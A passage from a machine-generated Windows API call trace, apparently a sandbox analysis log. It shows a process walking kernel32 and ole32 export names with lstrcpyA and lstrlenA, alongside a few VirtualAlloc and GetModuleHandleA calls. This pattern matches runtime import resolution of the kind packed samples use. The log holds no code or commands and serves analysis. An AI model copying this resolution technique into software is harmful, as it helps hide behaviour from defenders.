lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0036.081] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0036.081] lstrcpyA (in: lpString1=0x34e41c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0036.081] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0036.081] lstrcpyA (in: lpString1=0x34e41c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0036.081] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0036.081] lstrcpyA (in: lpString1=0x34e41c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0036.081] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0036.081] lstrcpyA (in: lpString1=0x34e41c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0036.081] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0036.081] lstrcpyA (in: lpString1=0x34e41c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0036.081] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0036.081] lstrcpyA (in: lpString1=0x34e41c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0036.081] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0036.081] lstrcpyA (in: lpString1=0x34e41c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0036.081] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0036.081] lstrcpyA (in: lpString1=0x34e41c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0036.081] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0036.081] lstrcpyA (in: lpString1=0x34e41c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0036.081] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0036.081] lstrcpyA (in: lpString1=0x34e41c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0036.081] lstrlenA (lpString="BACKUPREAD") returned 10 [0036.081] lstrcpyA (in: lpString1=0x34e41c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0036.081] lstrlenA (lpString="BACKUPSEEK") returned 10 [0036.082] lstrcpyA (in: lpString1=0x34e41c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0036.082] lstrlenA (lpString="BACKUPWRITE") returned 11 [0036.082] lstrcpyA (in: lpString1=0x34e41c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0036.082] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0036.082] lstrcpyA (in: lpString1=0x34e41c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0036.082] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0036.082] lstrcpyA (in: lpString1=0x34e41c, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0036.082] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0036.082] lstrcpyA (in: lpString1=0x34e41c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0036.082] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0036.082] lstrcpyA (in: lpString1=0x34e41c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0036.082] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0036.082] lstrcpyA (in: lpString1=0x34e41c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0036.082] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0036.082] lstrcpyA (in: lpString1=0x34e41c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0036.082] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0036.082] lstrcpyA (in: lpString1=0x34e41c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0036.082] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0036.082] lstrcpyA (in: lpString1=0x34e41c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0036.082] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0036.082] lstrcpyA (in: lpString1=0x34e41c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0036.082] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0036.082] lstrcpyA (in: lpString1=0x34e41c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0036.082] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0036.082] lstrcpyA (in: lpString1=0x34e41c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0036.082] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0036.082] lstrcpyA (in: lpString1=0x34e41c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0036.082] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0036.082] lstrcpyA (in: lpString1=0x34e41c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0036.082] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0036.082] lstrcpyA (in: lpString1=0x34e41c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0036.082] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0036.082] lstrcpyA (in: lpString1=0x34e41c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0036.082] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0036.082] lstrcpyA (in: lpString1=0x34e41c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0036.082] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0036.082] lstrcpyA (in: lpString1=0x34e41c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0036.082] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0036.082] lstrcpyA (in: lpString1=0x34e41c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0036.082] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0036.082] lstrcpyA (in: lpString1=0x34e41c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0036.082] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0036.082] lstrcpyA (in: lpString1=0x34e41c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0036.083] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0036.083] lstrcpyA (in: lpString1=0x34e41c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0036.083] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0036.083] lstrcpyA (in: lpString1=0x34e41c, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0036.083] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0036.083] lstrcpyA (in: lpString1=0x34e41c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0036.083] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0036.083] lstrcpyA (in: lpString1=0x34e41c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0036.083] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0036.083] lstrcpyA (in: lpString1=0x34e41c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0036.083] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0036.083] lstrcpyA (in: lpString1=0x34e41c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0036.083] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0036.083] lstrcpyA (in: lpString1=0x34e41c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0036.083] lstrlenA (lpString="BEEP") returned 4 [0036.083] lstrcpyA (in: lpString1=0x34e41c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0036.083] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0036.083] lstrcpyA (in: lpString1=0x34e41c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0036.083] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0036.083] lstrcpyA (in: lpString1=0x34e41c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0036.083] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0036.083] lstrcpyA (in: lpString1=0x34e41c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0036.083] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0036.083] lstrcpyA (in: lpString1=0x34e41c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0036.083] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0036.083] lstrcpyA (in: lpString1=0x34e41c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0036.083] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0036.083] lstrcpyA (in: lpString1=0x34e41c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0036.083] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0036.083] lstrcpyA (in: lpString1=0x34e41c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0036.083] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0036.083] lstrcpyA (in: lpString1=0x34e41c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0036.083] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0036.083] lstrcpyA (in: lpString1=0x34e41c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0036.083] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0036.083] lstrcpyA (in: lpString1=0x34e41c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0036.083] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0036.083] lstrcpyA (in: lpString1=0x34e41c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0036.083] lstrlenA (lpString="CANCELIO") returned 8 [0036.083] lstrcpyA (in: lpString1=0x34e41c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0036.083] lstrlenA (lpString="CANCELIOEX") returned 10 [0036.083] lstrcpyA (in: lpString1=0x34e41c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0036.083] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0036.083] lstrcpyA (in: lpString1=0x34e41c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0036.084] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0036.084] lstrcpyA (in: lpString1=0x34e41c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0036.084] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0036.084] lstrcpyA (in: lpString1=0x34e41c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0036.084] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0036.084] lstrcpyA (in: lpString1=0x34e41c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0036.084] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0036.084] lstrcpyA (in: lpString1=0x34e41c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0036.084] lstrlenA (lpString="CHECKELEVATION") returned 14 [0036.084] lstrcpyA (in: lpString1=0x34e41c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0036.084] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0036.084] lstrcpyA (in: lpString1=0x34e41c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0036.084] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0036.084] lstrcpyA (in: lpString1=0x34e41c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0036.084] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0036.084] lstrcpyA (in: lpString1=0x34e41c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0036.084] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0036.084] lstrcpyA (in: lpString1=0x34e41c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0036.084] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0036.084] lstrcpyA (in: lpString1=0x34e41c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0036.084] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0036.084] lstrcpyA (in: lpString1=0x34e41c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0036.084] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0036.084] lstrcpyA (in: lpString1=0x34e41c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0036.084] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0036.084] lstrcpyA (in: lpString1=0x34e41c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0036.084] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0036.084] CloseHandle (hObject=0xd4) returned 1 [0036.084] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x4) returned 0x100000 [0036.084] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x110000 [0036.084] lstrlenA (lpString="ole32.dll") returned 9 [0036.085] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x755e0000 [0036.085] lstrcpyA (in: lpString1=0x34e420, lpString2="BindMoniker" | out: lpString1="BindMoniker") returned="BindMoniker" [0036.085] lstrlenA (lpString="BINDMONIKER") returned 11 [0036.085] lstrcpyA (in: lpString1=0x34e420, lpString2="CLIPFORMAT_UserFree" | out: lpString1="CLIPFORMAT_UserFree") returned="CLIPFORMAT_UserFree" [0036.085] lstrlenA (lpString="CLIPFORMAT_USERFREE") returned 19 [0036.085] lstrcpyA (in: lpString1=0x34e420, lpString2="CLIPFORMAT_UserMarshal" | out: lpString1="CLIPFORMAT_UserMarshal") returned="CLIPFORMAT_UserMarshal" [0036.085] lstrlenA (lpString="CLIPFORMAT_USERMARSHAL") returned 22 [0036.085] lstrcpyA (in: lpString1=0x34e420, lpString2="CLIPFORMAT_UserSize" | out: lpString1="CLIPFORMAT_UserSize") returned="CLIPFORMAT_UserSize" [0036.085] lstrlenA (lpString="CLIPFORMAT_USERSIZE") returned 19 [0036.085] lstrcpyA (in: lpString1=0x34e420, lpString2="CLIPFORMAT_UserUnmarshal" | out: lpString1="CLIPFORMAT_UserUnmarshal") returned="CLIPFORMAT_UserUnmarshal" [0036.085] lstrlenA (lpString="CLIPFORMAT_USERUNMARSHAL") returned 24 [0036.085] lstrcpyA (in: lpString1=0x34e420, lpString2="CLSIDFromOle1Class" | out: lpString1="CLSIDFromOle1Class") returned="CLSIDFromOle1Class" [0036.085] lstrlenA (lpString="CLSIDFROMOLE1CLASS") returned 18 [0036.085] lstrcpyA (in: lpString1=0x34e420, lpString2="CLSIDFromProgID" | out: lpString1="CLSIDFromProgID") returned="CLSIDFromProgID" [0036.085] lstrlenA (lpString="CLSIDFROMPROGID") returned 15 [0036.085] lstrcpyA (in: lpString1=0x34e420, lpString2="CLSIDFromProgIDEx" | out: lpString1="CLSIDFromProgIDEx") returned="CLSIDFromProgIDEx" [0036.085] lstrlenA (lpString="CLSIDFROMPROGIDEX") returned 17 [0036.085] lstrcpyA (in: lpString1=0x34e420, lpString2="CLSIDFromString" | out: lpString1="CLSIDFromString") returned="CLSIDFromString" [0036.085] lstrlenA (lpString="CLSIDFROMSTRING") returned 15 [0036.085] lstrcpyA (in: lpString1=0x34e420, lpString2="CoAddRefServerProcess" | out: lpString1="CoAddRefServerProcess") returned="CoAddRefServerProcess" [0036.085] lstrlenA (lpString="COADDREFSERVERPROCESS") returned 21 [0036.085] lstrcpyA (in: lpString1=0x34e420, lpString2="CoAllowSetForegroundWindow" | out: lpString1="CoAllowSetForegroundWindow") returned="CoAllowSetForegroundWindow" [0036.085] lstrlenA (lpString="COALLOWSETFOREGROUNDWINDOW") returned 26 [0036.085] lstrcpyA (in: lpString1=0x34e420, lpString2="CoBuildVersion" | out: lpString1="CoBuildVersion") returned="CoBuildVersion" [0036.085] lstrlenA (lpString="COBUILDVERSION") returned 14 [0036.085] lstrcpyA (in: lpString1=0x34e420, lpString2="CoCancelCall" | out: lpString1="CoCancelCall") returned="CoCancelCall" [0036.085] lstrlenA (lpString="COCANCELCALL") returned 12 [0036.085] lstrcpyA (in: lpString1=0x34e420, lpString2="CoCopyProxy" | out: lpString1="CoCopyProxy") returned="CoCopyProxy" [0036.085] lstrlenA (lpString="COCOPYPROXY") returned 11 [0036.085] lstrcpyA (in: lpString1=0x34e420, lpString2="CoCreateFreeThreadedMarshaler" | out: lpString1="CoCreateFreeThreadedMarshaler") returned="CoCreateFreeThreadedMarshaler" [0036.085] lstrlenA (lpString="COCREATEFREETHREADEDMARSHALER") returned 29 [0036.085] lstrcpyA (in: lpString1=0x34e420, lpString2="CoCreateGuid" | out: lpString1="CoCreateGuid") returned="CoCreateGuid" [0036.085] lstrlenA (lpString="COCREATEGUID") returned 12 [0036.085] lstrcpyA (in: lpString1=0x34e420, lpString2="CoCreateInstance" | out: lpString1="CoCreateInstance") returned="CoCreateInstance" [0036.085] lstrlenA (lpString="COCREATEINSTANCE") returned 16 [0036.085] lstrcpyA (in: lpString1=0x34e420, lpString2="CoCreateInstanceEx" | out: lpString1="CoCreateInstanceEx") returned="CoCreateInstanceEx" [0036.085] lstrlenA (lpString="COCREATEINSTANCEEX") returned 18 [0036.086] lstrcpyA (in: lpString1=0x34e420, lpString2="CoCreateObjectInContext" | out: lpString1="CoCreateObjectInContext") returned="CoCreateObjectInContext" [0036.086] lstrlenA (lpString="COCREATEOBJECTINCONTEXT") returned 23 [0036.086] lstrcpyA (in: lpString1=0x34e420, lpString2="CoDeactivateObject" | out: lpString1="CoDeactivateObject") returned="CoDeactivateObject" [0036.086] lstrlenA (lpString="CODEACTIVATEOBJECT") returned 18 [0036.086] lstrcpyA (in: lpString1=0x34e420, lpString2="CoDisableCallCancellation" | out: lpString1="CoDisableCallCancellation") returned="CoDisableCallCancellation" [0036.086] lstrlenA (lpString="CODISABLECALLCANCELLATION") returned 25 [0036.086] lstrcpyA (in: lpString1=0x34e420, lpString2="CoDisconnectContext" | out: lpString1="CoDisconnectContext") returned="CoDisconnectContext" [0036.086] lstrlenA (lpString="CODISCONNECTCONTEXT") returned 19 [0036.086] lstrcpyA (in: lpString1=0x34e420, lpString2="CoDisconnectObject" | out: lpString1="CoDisconnectObject") returned="CoDisconnectObject" [0036.086] lstrlenA (lpString="CODISCONNECTOBJECT") returned 18 [0036.086] lstrcpyA (in: lpString1=0x34e420, lpString2="CoDosDateTimeToFileTime" | out: lpString1="CoDosDateTimeToFileTime") returned="CoDosDateTimeToFileTime" [0036.086] lstrlenA (lpString="CODOSDATETIMETOFILETIME") returned 23 [0036.086] lstrcpyA (in: lpString1=0x34e420, lpString2="CoEnableCallCancellation" | out: lpString1="CoEnableCallCancellation") returned="CoEnableCallCancellation" [0036.086] lstrlenA (lpString="COENABLECALLCANCELLATION") returned 24 [0036.086] lstrcpyA (in: lpString1=0x34e420, lpString2="CoFileTimeNow" | out: lpString1="CoFileTimeNow") returned="CoFileTimeNow" [0036.086] lstrlenA (lpString="COFILETIMENOW") returned 13 [0036.086] lstrcpyA (in: lpString1=0x34e420, lpString2="CoFileTimeToDosDateTime" | out: lpString1="CoFileTimeToDosDateTime") returned="CoFileTimeToDosDateTime" [0036.086] lstrlenA (lpString="COFILETIMETODOSDATETIME") returned 23 [0036.086] lstrcpyA (in: lpString1=0x34e420, lpString2="CoFreeAllLibraries" | out: lpString1="CoFreeAllLibraries") returned="CoFreeAllLibraries" [0036.086] lstrlenA (lpString="COFREEALLLIBRARIES") returned 18 [0036.086] lstrcpyA (in: lpString1=0x34e420, lpString2="CoFreeLibrary" | out: lpString1="CoFreeLibrary") returned="CoFreeLibrary" [0036.086] lstrlenA (lpString="COFREELIBRARY") returned 13 [0036.086] lstrcpyA (in: lpString1=0x34e420, lpString2="CoFreeUnusedLibraries" | out: lpString1="CoFreeUnusedLibraries") returned="CoFreeUnusedLibraries" [0036.086] lstrlenA (lpString="COFREEUNUSEDLIBRARIES") returned 21 [0036.086] lstrcpyA (in: lpString1=0x34e420, lpString2="CoFreeUnusedLibrariesEx" | out: lpString1="CoFreeUnusedLibrariesEx") returned="CoFreeUnusedLibrariesEx" [0036.086] lstrlenA (lpString="COFREEUNUSEDLIBRARIESEX") returned 23 [0036.086] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetActivationState" | out: lpString1="CoGetActivationState") returned="CoGetActivationState" [0036.086] lstrlenA (lpString="COGETACTIVATIONSTATE") returned 20 [0036.086] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetApartmentID" | out: lpString1="CoGetApartmentID") returned="CoGetApartmentID" [0036.086] lstrlenA (lpString="COGETAPARTMENTID") returned 16 [0036.086] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetApartmentType" | out: lpString1="CoGetApartmentType") returned="CoGetApartmentType" [0036.086] lstrlenA (lpString="COGETAPARTMENTTYPE") returned 18 [0036.086] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetCallContext" | out: lpString1="CoGetCallContext") returned="CoGetCallContext" [0036.086] lstrlenA (lpString="COGETCALLCONTEXT") returned 16 [0036.086] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetCallState" | out: lpString1="CoGetCallState") returned="CoGetCallState" [0036.086] lstrlenA (lpString="COGETCALLSTATE") returned 14 [0036.086] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetCallerTID" | out: lpString1="CoGetCallerTID") returned="CoGetCallerTID" [0036.086] lstrlenA (lpString="COGETCALLERTID") returned 14 [0036.087] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetCancelObject" | out: lpString1="CoGetCancelObject") returned="CoGetCancelObject" [0036.087] lstrlenA (lpString="COGETCANCELOBJECT") returned 17 [0036.087] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetClassObject" | out: lpString1="CoGetClassObject") returned="CoGetClassObject" [0036.087] lstrlenA (lpString="COGETCLASSOBJECT") returned 16 [0036.087] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetClassVersion" | out: lpString1="CoGetClassVersion") returned="CoGetClassVersion" [0036.087] lstrlenA (lpString="COGETCLASSVERSION") returned 17 [0036.087] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetComCatalog" | out: lpString1="CoGetComCatalog") returned="CoGetComCatalog" [0036.087] lstrlenA (lpString="COGETCOMCATALOG") returned 15 [0036.087] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetContextToken" | out: lpString1="CoGetContextToken") returned="CoGetContextToken" [0036.087] lstrlenA (lpString="COGETCONTEXTTOKEN") returned 17 [0036.087] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetCurrentLogicalThreadId" | out: lpString1="CoGetCurrentLogicalThreadId") returned="CoGetCurrentLogicalThreadId" [0036.087] lstrlenA (lpString="COGETCURRENTLOGICALTHREADID") returned 27 [0036.087] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetCurrentProcess" | out: lpString1="CoGetCurrentProcess") returned="CoGetCurrentProcess" [0036.087] lstrlenA (lpString="COGETCURRENTPROCESS") returned 19 [0036.087] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetDefaultContext" | out: lpString1="CoGetDefaultContext") returned="CoGetDefaultContext" [0036.087] lstrlenA (lpString="COGETDEFAULTCONTEXT") returned 19 [0036.087] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetInstanceFromFile" | out: lpString1="CoGetInstanceFromFile") returned="CoGetInstanceFromFile" [0036.087] lstrlenA (lpString="COGETINSTANCEFROMFILE") returned 21 [0036.087] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetInstanceFromIStorage" | out: lpString1="CoGetInstanceFromIStorage") returned="CoGetInstanceFromIStorage" [0036.087] lstrlenA (lpString="COGETINSTANCEFROMISTORAGE") returned 25 [0036.087] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetInterceptor" | out: lpString1="CoGetInterceptor") returned="CoGetInterceptor" [0036.087] lstrlenA (lpString="COGETINTERCEPTOR") returned 16 [0036.087] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetInterceptorFromTypeInfo" | out: lpString1="CoGetInterceptorFromTypeInfo") returned="CoGetInterceptorFromTypeInfo" [0036.087] lstrlenA (lpString="COGETINTERCEPTORFROMTYPEINFO") returned 28 [0036.087] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetInterfaceAndReleaseStream" | out: lpString1="CoGetInterfaceAndReleaseStream") returned="CoGetInterfaceAndReleaseStream" [0036.087] lstrlenA (lpString="COGETINTERFACEANDRELEASESTREAM") returned 30 [0036.087] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetMalloc" | out: lpString1="CoGetMalloc") returned="CoGetMalloc" [0036.087] lstrlenA (lpString="COGETMALLOC") returned 11 [0036.087] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetMarshalSizeMax" | out: lpString1="CoGetMarshalSizeMax") returned="CoGetMarshalSizeMax" [0036.087] lstrlenA (lpString="COGETMARSHALSIZEMAX") returned 19 [0036.087] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetModuleType" | out: lpString1="CoGetModuleType") returned="CoGetModuleType" [0036.087] lstrlenA (lpString="COGETMODULETYPE") returned 15 [0036.087] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetObject" | out: lpString1="CoGetObject") returned="CoGetObject" [0036.087] lstrlenA (lpString="COGETOBJECT") returned 11 [0036.087] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetObjectContext" | out: lpString1="CoGetObjectContext") returned="CoGetObjectContext" [0036.087] lstrlenA (lpString="COGETOBJECTCONTEXT") returned 18 [0036.087] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetPSClsid" | out: lpString1="CoGetPSClsid") 